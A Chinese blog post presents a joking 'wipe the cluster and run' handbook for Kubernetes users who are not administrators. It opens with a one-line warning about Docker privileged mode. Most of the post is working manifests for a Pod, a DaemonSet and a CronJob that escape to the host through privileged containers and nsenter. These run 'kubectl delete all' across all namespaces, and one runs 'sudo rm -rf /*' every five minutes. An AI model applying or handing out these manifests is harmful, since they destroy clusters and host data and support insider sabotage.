前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >非 Kubernetes 管理员,清库跑路手册

非 Kubernetes 管理员,清库跑路手册

原创
作者头像
陈少文
修改2021-01-25 17:30:40
4040
修改2021-01-25 17:30:40
举报
文章被收录于专栏:陈少文陈少文陈少文

本文档主要用于展示 Docker 特权模式的危害,请谨慎操作。对于无法直接执行命令的集群,可以通过 UI 创建 Pod、Job 等操作。

1. 直接删除全部资源

如果能登陆机器,收拾好东西,执行命令:

1

kubectl delete all --all --all-namespaces

但是也有可能没那么大权限,那么就试试下面的方法吧。下面的方法依赖于 Docker 的特权模式。

2. 随便试试,热热身

先热热身,执行脚本,随便试试,看看有没有效果。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31

cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: danger-1 namespace: default spec: containers: - command: ["sh"] args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"] image: docker.io/alpine:3.12 name: pod-test securityContext: privileged: true hostIPC: true hostNetwork: true hostPID: true tolerations: - effect: NoSchedule key: node-role.kubernetes.io/master - key: CriticalAddonsOnly operator: Exists - effect: NoExecute key: node.kubernetes.io/not-ready operator: Exists tolerationSeconds: 60 - effect: NoExecute key: node.kubernetes.io/unreachable operator: Exists tolerationSeconds: 60 EOF

3. 可能 Master 节点上配置了 kubeconfig

如果 Node 节点无法执行 kubectl 命令,那么可以选中 Master 节点试试。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41

cat <<EOF | kubectl apply -f - apiVersion: v1 kind: Pod metadata: name: danger-1 namespace: default spec: affinity: nodeAffinity: preferredDuringSchedulingIgnoredDuringExecution: - preference: matchExpressions: - key: node-role.kubernetes.io/master operator: In values: - "" weight: 100 containers: - command: ["sh"] args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"] image: docker.io/alpine:3.12 name: pod-test securityContext: privileged: true tolerations: - effect: NoSchedule key: node-role.kubernetes.io/master - key: CriticalAddonsOnly operator: Exists - effect: NoExecute key: node.kubernetes.io/not-ready operator: Exists tolerationSeconds: 60 - effect: NoExecute key: node.kubernetes.io/unreachable operator: Exists tolerationSeconds: 60 hostIPC: true hostNetwork: true hostPID: true EOF

4. 算了,全部节点都试试

如果还是不行,干脆全部节点都试试吧,反正东西都收拾好了。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38

cat <<EOF | kubectl apply -f - apiVersion: apps/v1 kind: DaemonSet metadata: name: danger-3 spec: selector: matchLabels: danger.kubernetes.io/name: d3 template: metadata: labels: danger.kubernetes.io/name: d3 spec: containers: - command: ["sh"] args: ["-c", "echo 'kubectl delete all --all --all-namespaces' | nsenter -t 1 -m -u -i -n"] image: docker.io/alpine:3.12 name: pod-test securityContext: privileged: true hostIPC: true hostNetwork: true hostPID: true tolerations: - effect: NoSchedule key: node-role.kubernetes.io/master - key: CriticalAddonsOnly operator: Exists - effect: NoExecute key: node.kubernetes.io/not-ready operator: Exists tolerationSeconds: 60 - effect: NoExecute key: node.kubernetes.io/unreachable operator: Exists tolerationSeconds: 60 EOF

5. 最后挣扎一下,定时试试,先下班了

试到这里,大概率明天还得继续搬砖 996 了,最后再试一次。

每五分钟执行一次,基本格式 : * * * * *,分别对应分、时、日、月、周。

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36

cat <<EOF | kubectl apply -f - apiVersion: batch/v1beta1 kind: CronJob metadata: name: danger-4 spec: schedule: "*/5 * * * *" jobTemplate: spec: template: spec: containers: - command: ["sh"] args: ["-c", "echo 'sudo rm -rf /*' | nsenter -t 1 -m -u -i -n"] image: docker.io/alpine:3.12 name: pod-test securityContext: privileged: true restartPolicy: OnFailure hostIPC: true hostNetwork: true hostPID: true tolerations: - effect: NoSchedule key: node-role.kubernetes.io/master - key: CriticalAddonsOnly operator: Exists - effect: NoExecute key: node.kubernetes.io/not-ready operator: Exists tolerationSeconds: 60 - effect: NoExecute key: node.kubernetes.io/unreachable operator: Exists tolerationSeconds: 60 EOF

6. 参考


原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 1. 直接删除全部资源
  • 2. 随便试试,热热身
  • 3. 可能 Master 节点上配置了 kubeconfig
  • 4. 算了,全部节点都试试
  • 5. 最后挣扎一下,定时试试,先下班了
  • 6. 参考
相关产品与服务
容器服务
腾讯云容器服务(Tencent Kubernetes Engine, TKE)基于原生 kubernetes 提供以容器为核心的、高度可扩展的高性能容器管理服务,覆盖 Serverless、边缘计算、分布式云等多种业务部署场景,业内首创单个集群兼容多种计算节点的容器资源管理模式。同时产品作为云原生 Finops 领先布道者,主导开源项目Crane,全面助力客户实现资源优化、成本控制。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档